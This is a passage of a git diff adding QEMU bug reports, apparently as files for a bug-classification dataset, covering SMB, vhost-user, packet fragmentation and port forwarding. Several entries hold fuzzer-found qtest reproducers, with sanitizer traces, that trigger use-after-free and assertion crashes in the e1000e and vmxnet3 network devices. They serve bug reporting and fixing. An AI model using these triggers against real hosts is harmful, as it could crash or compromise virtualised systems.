is +lspci|grep Ether +1e:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller (rev 11) + +physically connected via gigabit ethernet to cifs server (via gigabit switch) \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1886285 b/results/classifier/gemma3:12b/network/1886285 new file mode 100644 index 000000000..1f44d3efb --- /dev/null +++ b/results/classifier/gemma3:12b/network/1886285 @@ -0,0 +1,10 @@ + +Provide SMB option to support Windows 2000 + +As of SAMBA 4.11 (https://www.samba.org/samba/history/samba-4.11.0.html), SMB1 is disabled by default (and may be removed in the future). This breaks SMB shares with Windows 2000 guests. + +Adding the following line to smb.conf fixes this: + +min protocol = NT1 + +I would propose that an option be added to add this line to smb.conf to support these legacy operating systems. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1886362 b/results/classifier/gemma3:12b/network/1886362 new file mode 100644 index 000000000..2bb2d6d64 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1886362 @@ -0,0 +1,139 @@ + +Heap use-after-free in lduw_he_p through e1000e_write_to_rx_buffers + +Hello, +This reproducer causes a heap-use-after free. QEMU Built with --enable-sanitizers: +cat << EOF | ./i386-softmmu/qemu-system-i386 -M q35,accel=qtest \ +-qtest stdio -nographic -monitor none -serial none +outl 0xcf8 0x80001010 +outl 0xcfc 0xe1020000 +outl 0xcf8 0x80001014 +outl 0xcf8 0x80001004 +outw 0xcfc 0x7 +outl 0xcf8 0x800010a2 +write 0xe102003b 0x1 0xff +write 0xe1020103 0x1e 0xffffff055c5e5c30be4511d084ffffffffffffffffffffffffffffffffff +write 0xe1020420 0x4 0xffffffff +write 0xe1020424 0x4 0xffffffff +write 0xe102042b 0x1 0xff +write 0xe1020430 0x4 0x055c5e5c +write 0x5c041 0x1 0x04 +write 0x5c042 0x1 0x02 +write 0x5c043 0x1 0xe1 +write 0x5c048 0x1 0x8a +write 0x5c04a 0x1 0x31 +write 0x5c04b 0x1 0xff +write 0xe1020403 0x1 0xff +EOF + +The Output: +==22689==ERROR: AddressSanitizer: heap-use-after-free on address 0x62500026800e at pc 0x55b93bb18bfa bp 0x7fffdbe844f0 sp 0x7fffdbe83cb8 +READ of size 2 at 0x62500026800e thread T0 + #0 in __asan_memcpy (/build/i386-softmmu/qemu-system-i386+) + #1 in lduw_he_p /include/qemu/bswap.h:332:5 + #2 in ldn_he_p /include/qemu/bswap.h:550:1 + #3 in flatview_write_continue /exec.c:3145:19 + #4 in flatview_write /exec.c:3186:14 + #5 in address_space_write /exec.c:3280:18 + #6 in address_space_rw /exec.c:3290:16 + #7 in dma_memory_rw_relaxed /include/sysemu/dma.h:87:18 + #8 in dma_memory_rw /include/sysemu/dma.h:113:12 + #9 in pci_dma_rw /include/hw/pci/pci.h:789:5 + #10 in pci_dma_write /include/hw/pci/pci.h:802:12 + #11 in e1000e_write_to_rx_buffers /hw/net/e1000e_core.c:1412:9 + #12 in e1000e_write_packet_to_guest /hw/net/e1000e_core.c:1582:21 + #13 in e1000e_receive_iov /hw/net/e1000e_core.c:1709:9 + #14 in e1000e_nc_receive_iov /hw/net/e1000e.c:213:12 + #15 in net_tx_pkt_sendv /hw/net/net_tx_pkt.c:544:9 + #16 in net_tx_pkt_send /hw/net/net_tx_pkt.c:620:9 + #17 in net_tx_pkt_send_loopback /hw/net/net_tx_pkt.c:633:11 + #18 in e1000e_tx_pkt_send /hw/net/e1000e_core.c:664:16 + #19 in e1000e_process_tx_desc /hw/net/e1000e_core.c:743:17 + #20 in e1000e_start_xmit /hw/net/e1000e_core.c:934:9 + #21 in e1000e_set_tctl /hw/net/e1000e_core.c:2431:9 + #22 in e1000e_core_write /hw/net/e1000e_core.c:3265:9 + #23 in e1000e_mmio_write /hw/net/e1000e.c:109:5 + #24 in memory_region_write_accessor /memory.c:483:5 + #25 in access_with_adjusted_size /memory.c:544:18 + #26 in memory_region_dispatch_write /memory.c:1476:16 + #27 in flatview_write_continue /exec.c:3146:23 + #28 in flatview_write /exec.c:3186:14 + #29 in address_space_write /exec.c:3280:18 + #30 in qtest_process_command /qtest.c:567:9 + #31 in qtest_process_inbuf /qtest.c:710:9 + #32 in qtest_read /qtest.c:722:5 + #33 in qemu_chr_be_write_impl /chardev/char.c:188:9 + #34 in qemu_chr_be_write /chardev/char.c:200:9 + #35 in fd_chr_read /chardev/char-fd.c:68:9 + #36 in qio_channel_fd_source_dispatch /io/channel-watch.c:84:12 + #37 in g_main_context_dispatch (/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0+) + #38 in glib_pollfds_poll /util/main-loop.c:219:9 + #39 in os_host_main_loop_wait /util/main-loop.c:242:5 + #40 in main_loop_wait /util/main-loop.c:518:11 + #41 in qemu_main_loop /softmmu/vl.c:1664:9 + #42 in main /softmmu/main.c:52:5 + #43 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+) + #44 in _start (/build/i386-softmmu/qemu-system-i386+) + +0x62500026800e is located 14 bytes inside of 138-byte region [0x625000268000,0x62500026808a) +freed by thread T0 here: + #0 in free (/build/i386-softmmu/qemu-system-i386+) + #1 in qemu_vfree /util/oslib-posix.c:238:5 + #2 in address_space_unmap /exec.c:3616:5 + #3 in dma_memory_unmap /include/sysemu/dma.h:148:5 + #4 in pci_dma_unmap /include/hw/pci/pci.h:839:5 + #5 in net_tx_pkt_reset /hw/net/net_tx_pkt.c:453:9 + #6 in e1000e_process_tx_desc /hw/net/e1000e_core.c:749:9 + #7 in e1000e_start_xmit /hw/net/e1000e_core.c:934:9 + #8 in e1000e_set_tctl /hw/net/e1000e_core.c:2431:9 + #9 in e1000e_core_write /hw/net/e1000e_core.c:3265:9 + #10 in e1000e_mmio_write /hw/net/e1000e.c:109:5 + #11 in memory_region_write_accessor /memory.c:483:5 + #12 in access_with_adjusted_size /memory.c:544:18 + #13 in memory_region_dispatch_write /memory.c:1476:16 + #14 in flatview_write_continue /exec.c:3146:23 + #15 in flatview_write /exec.c:3186:14 + #16 in address_space_write /exec.c:3280:18 + #17 in address_space_rw /exec.c:3290:16 + #18 in dma_memory_rw_relaxed /include/sysemu/dma.h:87:18 + #19 in dma_memory_rw /include/sysemu/dma.h:113:12 + #20 in pci_dma_rw /include/hw/pci/pci.h:789:5 + #21 in pci_dma_write /include/hw/pci/pci.h:802:12 + #22 in e1000e_write_to_rx_buffers /hw/net/e1000e_core.c:1412:9 + #23 in e1000e_write_packet_to_guest /hw/net/e1000e_core.c:1582:21 + #24 in e1000e_receive_iov /hw/net/e1000e_core.c:1709:9 + #25 in e1000e_nc_receive_iov /hw/net/e1000e.c:213:12 + #26 in net_tx_pkt_sendv /hw/net/net_tx_pkt.c:544:9 + #27 in net_tx_pkt_send /hw/net/net_tx_pkt.c:620:9 + #28 in net_tx_pkt_send_loopback /hw/net/net_tx_pkt.c:633:11 + #29 in e1000e_tx_pkt_send /hw/net/e1000e_core.c:664:16 + +previously allocated by thread T0 here: + #0 in posix_memalign (/build/i386-softmmu/qemu-system-i386+) + #1 in qemu_try_memalign /util/oslib-posix.c:198:11 + #2 in qemu_memalign /util/oslib-posix.c:214:27 + #3 in address_space_map /exec.c:3558:25 + #4 in dma_memory_map /include/sysemu/dma.h:138:9 + #5 in pci_dma_map /include/hw/pci/pci.h:832:11 + #6 in net_tx_pkt_add_raw_fragment /hw/net/net_tx_pkt.c:391:24 + #7 in e1000e_process_tx_desc /hw/net/e1000e_core.c:731:14 + #8 in e1000e_start_xmit /hw/net/e1000e_core.c:934:9 + #9 in e1000e_set_tctl /hw/net/e1000e_core.c:2431:9 + #10 in e1000e_core_write /hw/net/e1000e_core.c:3265:9 + #11 in e1000e_mmio_write /hw/net/e1000e.c:109:5 + #12 in memory_region_write_accessor /memory.c:483:5 + #13 in access_with_adjusted_size /memory.c:544:18 + #14 in memory_region_dispatch_write /memory.c:1476:16 + #15 in flatview_write_continue /exec.c:3146:23 + #16 in flatview_write /exec.c:3186:14 + #17 in address_space_write /exec.c:3280:18 + #18 in qtest_process_command /qtest.c:567:9 + #19 in qtest_process_inbuf /qtest.c:710:9 + #20 in qtest_read /qtest.c:722:5 + #21 in qemu_chr_be_write_impl /chardev/char.c:188:9 + #22 in qemu_chr_be_write /chardev/char.c:200:9 + #23 in fd_chr_read /chardev/char-fd.c:68:9 + #24 in qio_channel_fd_source_dispatch /io/channel-watch.c:84:12 + #25 in g_main_context_dispatch (/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0+) + +-Alex \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1886811 b/results/classifier/gemma3:12b/network/1886811 new file mode 100644 index 000000000..a98358627 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1886811 @@ -0,0 +1,24 @@ + +systemd complains Failed to enqueue loopback interface start request: Operation not supported + +This symptom seems similar to +https://bugs.launchpad.net/qemu/+bug/1823790 + +Host Linux: Debian 11 Bullseye (testing) on x84-64 architecture +qemu version: latest git of git commit hash eb2c66b10efd2b914b56b20ae90655914310c925 +compiled with "./configure --static --disable-system" + +Down stream bug report at https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=964289 +Bug report (closed) to systemd: https://github.com/systemd/systemd/issues/16359 + +systemd in armhf and armel (both little endian 32-bit) containers fail to start with +Failed to enqueue loopback interface start request: Operation not supported + +How to reproduce on Debian (and probably Ubuntu): +mmdebstrap --components="main contrib non-free" --architectures=armhf --variant=important bullseye /var/lib/machines/armhf-bullseye +systemd-nspawn -D /var/lib/machines/armhf-bullseye -b + +When "armhf" architecture is replaced with "mips" (32-bit big endian) or "ppc64" +(64-bit big endian), the container starts up fine. + +The same symptom is also observed with "powerpc" (32-bit big endian) architecture. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1887604 b/results/classifier/gemma3:12b/network/1887604 new file mode 100644 index 000000000..56bfe8fb3 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1887604 @@ -0,0 +1,29 @@ + +Forward host UNIX socket to guest TCP port + +Hello. I've been racking my brain trying to work out if this is possible. + +I would like to be able to forward to a guest TCP port, via a host UNIX socket to avoid opening a TCP port on the host. For example: + +qemu-system-i386 [...] -nic user,hostfwd=unix:/path/to/socket-:22 + +and then connect to the VM like: + +ssh -o "ProxyCommand socat - unix-connect:/path/to/socket" user@0.0.0.0 + +QEMU, as versatile as it is, doesn't appreciate my intuited syntax "hostfwd=unix:...". It is also unhappy with: + +qemu-system-i386 [...] \ + -chardev socket,id=foo,path=/path/to/socket,server,nowait \ + -nic user,hostfwd=chardev:foo-:22 + +And: + +qemu-system-i386 [...] \ + -nic user \ + -chardev socket,id=foo,path=/path/to/socket,server,nowait \ + -chardev socket,id=foo,host=10.0.2.15,port=22 + +I already found out how to connect in the opposite direction, **from** guest TCP to host UNIX, via guestfwd -> cmd -> socat. So I feel like there ought to be a way. + +If this is not yet a feature I would like to request it, and if it is, please tell me how! \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1888818 b/results/classifier/gemma3:12b/network/1888818 new file mode 100644 index 000000000..c79c7245c --- /dev/null +++ b/results/classifier/gemma3:12b/network/1888818 @@ -0,0 +1,50 @@ + +Multi-queue vhost-user fails to reconnect with qemu version >=4.2 + +Test Environment: +DPDK version: DPDK v20.08 +Other software versions: qemu4.2, qemu5.0. +OS: Linux 4.15.0-20-generic +Compiler: gcc (Ubuntu 7.3.0-16ubuntu3) 8.4.0 +Hardware platform: Purley. +Test Setup +Steps to reproduce +List the steps to reproduce the issue. + +Test flow +========= +1. Launch vhost-user testpmd as port0 with 2 queues: + +./x86_64-native-linuxapp-gcc/app/testpmd -l 2-4 -n 4 \ + --file-prefix=vhost --vdev 'net_vhost0,iface=vhost-net,queues=2,client=1' -- -i --txd=1024 --rxd=1024 --txq=2 --rxq=2 +testpmd>start + +3. Launch qemu with virtio-net: + + taskset -c 13 \ + qemu-system-x86_64 -name us-vhost-vm1 \ + -cpu host -enable-kvm -m 2048 -object memory-backend-file,id=mem,size=2048M,mem-path=/mnt/huge,share=on \ + -numa node,memdev=mem \ + -mem-prealloc -monitor unix:/tmp/vm2_monitor.sock,server,nowait -netdev user,id=yinan,hostfwd=tcp:127.0.0.1:6005-:22 -device e1000,netdev=yinan \ + -smp cores=1,sockets=1 -drive file=/home/osimg/ubuntu16.img \ + -chardev socket,id=char0,path=./vhost-net,server \ + -netdev type=vhost-user,id=mynet1,chardev=char0,vhostforce,queues=2 \ + -device virtio-net-pci,mac=52:54:00:00:00:01,netdev=mynet1,mrg_rxbuf=on,csum=on,gso=on,host_tso4=on,guest_tso4=on,mq=on,vectors=15 \ + -vnc :10 -daemonize + +6. Quit testpmd and restart vhost-user : + +testpmd>quit +./x86_64-native-linuxapp-gcc/app/testpmd -l 2-4 -n 4 \ + --file-prefix=vhost --vdev 'net_vhost0,iface=vhost-net,queues=2,client=1' -- -i --txd=1024 --rxd=1024 --txq=2 --rxq=2 + + +Expected Result: +After the vhost-user is killed then re-launched, the virtio-net can connect back to vhost-user again. + +Actual Result: +Vhost-user relaunch failed with continous log printed"VHOST_CONFIG: Processing VHOST_USER_SET_FEATURES failed. + +Analysis: +This is a regression bug, bad commit: c6beefd674f +When vhost-user quits, QEMU doesnot save acked features for each virtio-net after vhost-user quits. When vhost-user reconnects to QEMU, QEMU sends two different features(one is the true acked feature while the another is 0x40000000) to vhost-user successively which causing vhost-user exits abnormally. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1889943 b/results/classifier/gemma3:12b/network/1889943 new file mode 100644 index 000000000..84e4f284e --- /dev/null +++ b/results/classifier/gemma3:12b/network/1889943 @@ -0,0 +1,48 @@ + +Improper TCP/IP packet splitting on e1000e/vmxnet3 + +Problem Description: +When using a tap interface and the guest sends a TCP packet that would need to be segmented, it is fragmented using IP fragmentation. The host does not reassemble the IP fragments and forwards them to the next hop. This causes issues on certain ISPs, which seemingly reject IP fragments(Verizon Fios). +This issue occurs on the e1000e and vmxnet3 NIC models, and possibly others. It does not occur on the virtio(which passes the entire packet through to the host w/o fragmentation or segmentation) or the e1000 model(). + +Test scenario: +Setup a tap and network bridge using the directions here: https://gist.github.com/extremecoders-re/e8fd8a67a515fee0c873dcafc81d811c +Boot the machine into any modern guest(a Fedora 31 live iso was used for testing) +Begin a wireshark capture on the host machine +On the host(or another machine on the network) run: npx http-echo-server(See https://github.com/watson/http-echo-server) +On the guest run +Curl -d “Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas venenatis viverra ipsum, ac tincidunt est rhoncus eu. Suspendisse vehicula congue ante, non rhoncus elit tempus vitae. Duis ac leo massa. Donec rutrum condimentum turpis nec ultricies. Duis laoreet elit eu arcu pulvinar, vitae congue neque mattis. Mauris sed ante nunc. Vestibulum vitae urna a tellus maximus sagittis. Vivamus luctus pellentesque neque, vel tempor purus porta ut. Phasellus at quam bibendum, fermentum libero sit amet, ullamcorper mauris. In rutrum sit amet dui id maximus. Ut lectus ligula, hendrerit nec aliquam non, finibus a turpis. Proin scelerisque convallis ante, et pharetra elit. Donec nunc nisl, viverra vitae dui at, posuere rhoncus nibh. Mauris in massa quis neque posuere placerat quis quis massa. Donec quis lacus ligula. Donec mollis vel nisi eget elementum. Nam id magna porta nunc consectetur efficitur ac quis lorem. Cras faucibus vel ex porttitor mattis. Praesent in mattis tortor. In venenatis convallis quam, in posuere nibh. Proin non dignissim massa. Cras at mi ut lorem tristique fringilla. Nulla ac quam condimentum metus tincidunt vulputate ut at leo. Nunc pellentesque, nunc vel rhoncus condimentum, arcu sem molestie augue, in suscipit mauris odio mollis odio. Integer hendrerit lectus a leo facilisis, in accumsan urna maximus. Nam nec odio volutpat, varius est id, tempus libero. Vestibulum lobortis tortor quam, ac scelerisque urna rhoncus in. Etiam tempor, est sit amet vulputate molestie, urna neque sodales leo, sit amet blandit risus felis sed est. Nulla eu eros nec tortor dapibus maximus faucibus ut erat. Ut pharetra tempor massa in bibendum. Interdum et malesuada fames ac ante ipsum primis in faucibus. Etiam mattis molestie felis eu efficitur. Morbi tincidunt consectetur diam tincidunt feugiat. Morbi euismod ut lorem finibus pellentesque. Aliquam eu porta ex. Aliquam cursus, orci sit amet volutpat egestas, est est pulvinar erat, sed luctus nisl ligula eget justo vestibulum.” <ECHOSERVERIP:PORT> + +2000 bytes of Lorem Ipsum taken from https://www.lipsum.com/ + +Compare results from an e1000, a virtio, and a e1000e card: ++--------+-----------+---------+------------+ +| Model | Fragment | Segment | Wire Size | ++--------+-----------+---------+------------+ +| e1000e | Yes | NO | 1484 + 621 | ++--------+-----------+---------+------------+ +| e1000 | No | Yes | 1516 + 620 | ++--------+-----------+---------+------------+ +| Virtio | NO | NO | 2068 | ++--------+-----------+---------+------------+ + +Expected Results: +TCP Segment to proper size OR pass full size to host and let the host split if necessary. + +Configuration changes that did not work: +Disable host, guest, router firewalls +Different Hosts +Different Physical NICs +Libvirt based NAT/Routed modes +Fedora 32 vs 31 +Qemu 4.2.0 vs github commit d74824cf7c8b352f9045e949dc636c7207a41eee + +System Information: +lsb_release -rd +Description: Fedora release 32 (Thirty Two) +Release: 32 + +uname -a +Linux pats-laptop-linux 5.7.10-201.fc32.x86_64 #1 SMP Thu Jul 23 00:58:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux + +I can provide additional logs, debug info, etc. if needed. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1890152 b/results/classifier/gemma3:12b/network/1890152 new file mode 100644 index 000000000..28711b6b8 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1890152 @@ -0,0 +1,56 @@ + +malloc 0xff0000030 bytes with vmxnet3 + +Hello, +This reproducer causes vmxnet3 to malloc 0xff0000030 bytes + +cat << EOF | ./i386-softmmu/qemu-system-i386 \ +-device vmxnet3 -m 64 -nodefaults -qtest stdio -nographic +outl 0xcf8 0x80001014 +outl 0xcfc 0xe0001000 +outl 0xcf8 0x80001018 +outl 0xcf8 0x80001004 +outw 0xcfc 0x7 +write 0x0 0x1 0xe1 +write 0x1 0x1 0xfe +write 0x2 0x1 0xbe +write 0x3 0x1 0xba +write 0x3e 0x1 0x05 +write 0x28 0x1 0xe1 +write 0x29 0x1 0xfe +write 0x2a 0x1 0xff +write 0x2b 0x1 0xff +write 0x2c 0x1 0xff +write 0x2d 0x1 0xff +write 0x2e 0x1 0xff +write 0x2f 0x1 0xff +write 0x31c 0x1 0xff +writeq 0xe0001020 0xef0bff5ecafe0000 +EOF + + + +================================================================= +==25727==ERROR: AddressSanitizer: allocator is out of memory trying to allocate 0xff0000030 bytes + #0 0x56476a43731d in malloc (/home/alxndr/Development/qemu/general-fuzz/build/i386-softmmu/qemu-system-i386+0x2bba31d) + #1 0x7fca345a8500 in g_malloc (/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x54500) + #2 0x56476c616312 in vmxnet3_activate_device /home/alxndr/Development/qemu/general-fuzz/hw/net/vmxnet3.c:1504:5 + #3 0x56476c6101ba in vmxnet3_handle_command /home/alxndr/Development/qemu/general-fuzz/hw/net/vmxnet3.c:1576:9 + #4 0x56476c60d30f in vmxnet3_io_bar1_write /home/alxndr/Development/qemu/general-fuzz/hw/net/vmxnet3.c:1772:9 + #5 0x56476b11d383 in memory_region_write_accessor /home/alxndr/Development/qemu/general-fuzz/softmmu/memory.c:483:5 + #6 0x56476b11c827 in access_with_adjusted_size /home/alxndr/Development/qemu/general-fuzz/softmmu/memory.c:544:18 + #7 0x56476b11a446 in memory_region_dispatch_write /home/alxndr/Development/qemu/general-fuzz/softmmu/memory.c:1466:16 + #8 0x56476a4cb696 in flatview_write_continue /home/alxndr/Development/qemu/general-fuzz/exec.c:3176:23 + #9 0x56476a4b3eb6 in flatview_write /home/alxndr/Development/qemu/general-fuzz/exec.c:3216:14 + #10 0x56476a4b39d7 in address_space_write /home/alxndr/Development/qemu/general-fuzz/exec.c:3308:18 + #11 0x56476b1c4614 in qtest_process_command /home/alxndr/Development/qemu/general-fuzz/softmmu/qtest.c:452:13 + #12 0x56476b1bbc18 in qtest_process_inbuf /home/alxndr/Development/qemu/general-fuzz/softmmu/qtest.c:710:9 + #13 0x56476b1ba8a5 in qtest_read /home/alxndr/Development/qemu/general-fuzz/softmmu/qtest.c:722:5 + #14 0x56476e063f03 in qemu_chr_be_write_impl /home/alxndr/Development/qemu/general-fuzz/chardev/char.c:188:9 + #15 0x56476e064087 in qemu_chr_be_write /home/alxndr/Development/qemu/general-fuzz/chardev/char.c:200:9 + #16 0x56476e078373 in fd_chr_read /home/alxndr/Development/qemu/general-fuzz/chardev/char-fd.c:68:9 + #17 0x56476e1cc734 in qio_channel_fd_source_dispatch /home/alxndr/Development/qemu/general-fuzz/io/channel-watch.c:84:12 + #18 0x7fca345a2897 in g_main_context_dispatch (/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4e897) + + +-Alex \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1890157 b/results/classifier/gemma3:12b/network/1890157 new file mode 100644 index 000000000..e40ddb917 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1890157 @@ -0,0 +1,36 @@ + +Assertion failure in net_tx_pkt_reset through vmxnet3 + +Hello, +Reproducer: + +cat << EOF | ./i386-softmmu/qemu-system-i386 \ +-device vmxnet3 -m 64 -nodefaults -qtest stdio -nographic +outl 0xcf8 0x80001014 +outl 0xcfc 0xe0001000 +outl 0xcf8 0x80001018 +outl 0xcf8 0x80001004 +outw 0xcfc 0x7 +outl 0xcf8 0x80001083 +write 0x0 0x1 0xe1 +write 0x1 0x1 0xfe +write 0x2 0x1 0xbe +write 0x3 0x1 0xba +writeq 0xe0001020 0xefefff5ecafe0000 +writeq 0xe0001020 0xffff5e5ccafe0002 +EOF + +============================================================== +qemu-system-i386: /home/alxndr/Development/qemu/general-fuzz/hw/net/net_tx_pkt.c:450: void net_tx_pkt_reset(struct NetTxPkt *): Assertion `pkt->raw' failed. + + #9 0x564838761930 in net_tx_pkt_reset /home/alxndr/Development/qemu/general-fuzz/hw/net/net_tx_pkt.c:450:5 + #10 0x564838881749 in vmxnet3_deactivate_device /home/alxndr/Development/qemu/general-fuzz/hw/net/vmxnet3.c:1159:9 + #11 0x56483888cf71 in vmxnet3_reset /home/alxndr/Development/qemu/general-fuzz/hw/net/vmxnet3.c:1170:5 + #12 0x564838882124 in vmxnet3_handle_command /home/alxndr/Development/qemu/general-fuzz/hw/net/vmxnet3.c:1610:9 + #13 0x56483887f10f in vmxnet3_io_bar1_write /home/alxndr/Development/qemu/general-fuzz/hw/net/vmxnet3.c:1772:9 + #14 0x56483738f193 in memory_region_write_accessor /home/alxndr/Development/qemu/general-fuzz/softmmu/memory.c:483:5 + #15 0x56483738e637 in access_with_adjusted_size /home/alxndr/Development/qemu/general-fuzz/softmmu/memory.c:544:18 + #16 0x56483738c256 in memory_region_dispatch_write /home/alxndr/Development/qemu/general-fuzz/softmmu/memory.c:1466:16 + #17 0x56483673d4a6 in flatview_write_continue /home/alxndr/Development/qemu/general-fuzz/exec.c:3176:23 + +-Alex \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1890159 b/results/classifier/gemma3:12b/network/1890159 new file mode 100644 index 000000000..58dd1d424 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1890159 @@ -0,0 +1,40 @@ + +Assertion failure in net_tx_pkt_add_raw_fragment through vmxnet3 + +Hello, +Reproducer: + +cat << EOF | ./i386-softmmu/qemu-system-i386 \ +-device vmxnet3 -m 64 -nodefaults -qtest stdio -nographic +outl 0xcf8 0x80001010 +outl 0xcfc 0xe0000000 +outl 0xcf8 0x80001014 +outl 0xcfc 0xe0001000 +outl 0xcf8 0x80001018 +outl 0xcf8 0x80001001 +outl 0xcfc 0x3fff3fff +outl 0xcf8 0x80001016 +outl 0xcfc 0x5c84ff00 +outl 0xcf8 0x800010ff +write 0x0 0x1 0xe1 +write 0x1 0x1 0xfe +write 0x2 0x1 0xbe +write 0x3 0x1 0xba +writeq 0xff001020 0xef0bff5ecafe0000 +writel 0xe0000605 0xa7ff845e +EOF + +============================================================== +qemu-system-i386: hw/net/net_tx_pkt.c:382: _Bool net_tx_pkt_add_raw_fragment(struct NetTxPkt *, hwaddr, size_t): Assertion `pkt->max_raw_frags > pkt->raw_frags' failed. +Aborted + + +#9 0x5607db7efdc0 in net_tx_pkt_add_raw_fragment /home/alxndr/Development/qemu/general-fuzz/hw/net/net_tx_pkt.c:382:5 +#10 0x5607db902ef0 in vmxnet3_process_tx_queue /home/alxndr/Development/qemu/general-fuzz/hw/net/vmxnet3.c:653:18 +#11 0x5607db9021db in vmxnet3_io_bar0_write /home/alxndr/Development/qemu/general-fuzz/hw/net/vmxnet3.c:1097:9 +#12 0x5607da41f193 in memory_region_write_accessor /home/alxndr/Development/qemu/general-fuzz/softmmu/memory.c:483:5 +#13 0x5607da41e637 in access_with_adjusted_size /home/alxndr/Development/qemu/general-fuzz/softmmu/memory.c:544:18 +#14 0x5607da41c256 in memory_region_dispatch_write /home/alxndr/Development/qemu/general-fuzz/softmmu/memory.c:1466:16 +#15 0x5607d97cd4a6 in flatview_write_continue /home/alxndr/Development/qemu/general-fuzz/exec.c:3176:23 + +-Alex \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1890160 b/results/classifier/gemma3:12b/network/1890160 new file mode 100644 index 000000000..632d73e48 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1890160 @@ -0,0 +1,35 @@ + +Abort in vmxnet3_validate_queues + +Hello, +Reproducer: + +cat << EOF | ./i386-softmmu/qemu-system-i386 \ +-device vmxnet3 -m 64 -nodefaults -qtest stdio -nographic +outl 0xcf8 0x80001014 +outl 0xcfc 0xe0001000 +outl 0xcf8 0x80001018 +outl 0xcf8 0x80001004 +outw 0xcfc 0x7 +write 0x0 0x1 0xe1 +write 0x1 0x1 0xfe +write 0x2 0x1 0xbe +write 0x3 0x1 0xba +write 0x3e 0x1 0xe1 +writeq 0xe0001020 0xef0bff5ecafe0000 +EOF + +============================================================== +qemu: hardware error: Bad TX queues number: 225 + + #6 0x7f04b89d455a in abort /build/glibc-GwnBeO/glibc-2.30/stdlib/abort.c:79:7 + #7 0x558f5be89b67 in hw_error /home/alxndr/Development/qemu/general-fuzz/softmmu/cpus.c:927:5 + #8 0x558f5d3c3968 in vmxnet3_validate_queues /home/alxndr/Development/qemu/general-fuzz/hw/net/vmxnet3.c:1388:9 + #9 0x558f5d3bb716 in vmxnet3_activate_device /home/alxndr/Development/qemu/general-fuzz/hw/net/vmxnet3.c:1449:5 + #10 0x558f5d3b6fba in vmxnet3_handle_command /home/alxndr/Development/qemu/general-fuzz/hw/net/vmxnet3.c:1576:9 + #11 0x558f5d3b410f in vmxnet3_io_bar1_write /home/alxndr/Development/qemu/general-fuzz/hw/net/vmxnet3.c:1772:9 + #12 0x558f5bec4193 in memory_region_write_accessor /home/alxndr/Development/qemu/general-fuzz/softmmu/memory.c:483:5 + #13 0x558f5bec3637 in access_with_adjusted_size /home/alxndr/Development/qemu/general-fuzz/softmmu/memory.c:544:18 + #14 0x558f5bec1256 in memory_region_dispatch_write /home/alxndr/Development/qemu/general-fuzz/softmmu/memory.c:1466:16 + +-Alex \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1892978 b/results/classifier/gemma3:12b/network/1892978 new file mode 100644 index 000000000..e87d733ab --- /dev/null +++ b/results/classifier/gemma3:12b/network/1892978 @@ -0,0 +1,389 @@ + +Heap-use-after-free in e1000e_write_packet_to_guest + +Hello, +Reproducer: +cat << EOF | ./qemu-system-i386 \ +-display none -m 64 -netdev user,id=qtest-bn0 \ +-device e1000e,netdev=qtest-bn0 -display none \ +-nodefaults -accel qtest -qtest stdio +outl 0xcf8 0x80001004 +outl 0xcfc 0x3b2e84ce +outl 0xcf8 0x80001013 +outw 0xcfc 0x2499 +writew 0x990000ff 0x5ea2 +writeq 0x99000429 0x133a940000188101 +outl 0xcfc 0x9b890e04 +writeq 0x4000119 0x5000055ec751c0d +write 0x10707 0x1 0x07 +write 0x51 0x1 0x04 +write 0x53 0x1 0x04 +write 0x140 0x1 0x07 +write 0x141 0x1 0x07 +write 0x142 0x1 0x01 +write 0x148 0x1 0x40 +write 0x14a 0x1 0x7d +write 0x14b 0x1 0xff +writeq 0x4000401 0x413001600027d +EOF + + +The stacktrace: + +[S +0.090759] OK +[R +0.090767] writeq 0x4000401 0x413001600027d +================================================================= +==935641==ERROR: AddressSanitizer: heap-use-after-free on address 0x61900006cc88 at pc 0x555613393d45 bp 0x7fff92f8b7f0 sp 0x7fff92f8b7e8 +READ of size 8 at 0x61900006cc88 thread T0 + #0 0x555613393d44 in e1000e_write_packet_to_guest /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:1587:41 + #1 0x55561338e419 in e1000e_receive_iov /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:1709:9 + #2 0x55561319680b in e1000e_nc_receive_iov /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e.c:213:12 + #3 0x555612812581 in net_tx_pkt_sendv /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/net_tx_pkt.c:556:9 + #4 0x55561280fbc8 in net_tx_pkt_send /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/net_tx_pkt.c:633:9 + #5 0x555612813f38 in net_tx_pkt_send_loopback /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/net_tx_pkt.c:646:11 + #6 0x5556133f8c07 in e1000e_tx_pkt_send /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:664:16 + #7 0x5556133f5359 in e1000e_process_tx_desc /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:743:17 + #8 0x5556133f302f in e1000e_start_xmit 